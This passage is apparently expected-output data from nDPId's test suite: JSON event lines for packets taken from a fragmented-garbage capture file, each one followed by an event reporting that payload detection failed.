+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605367,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605820,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 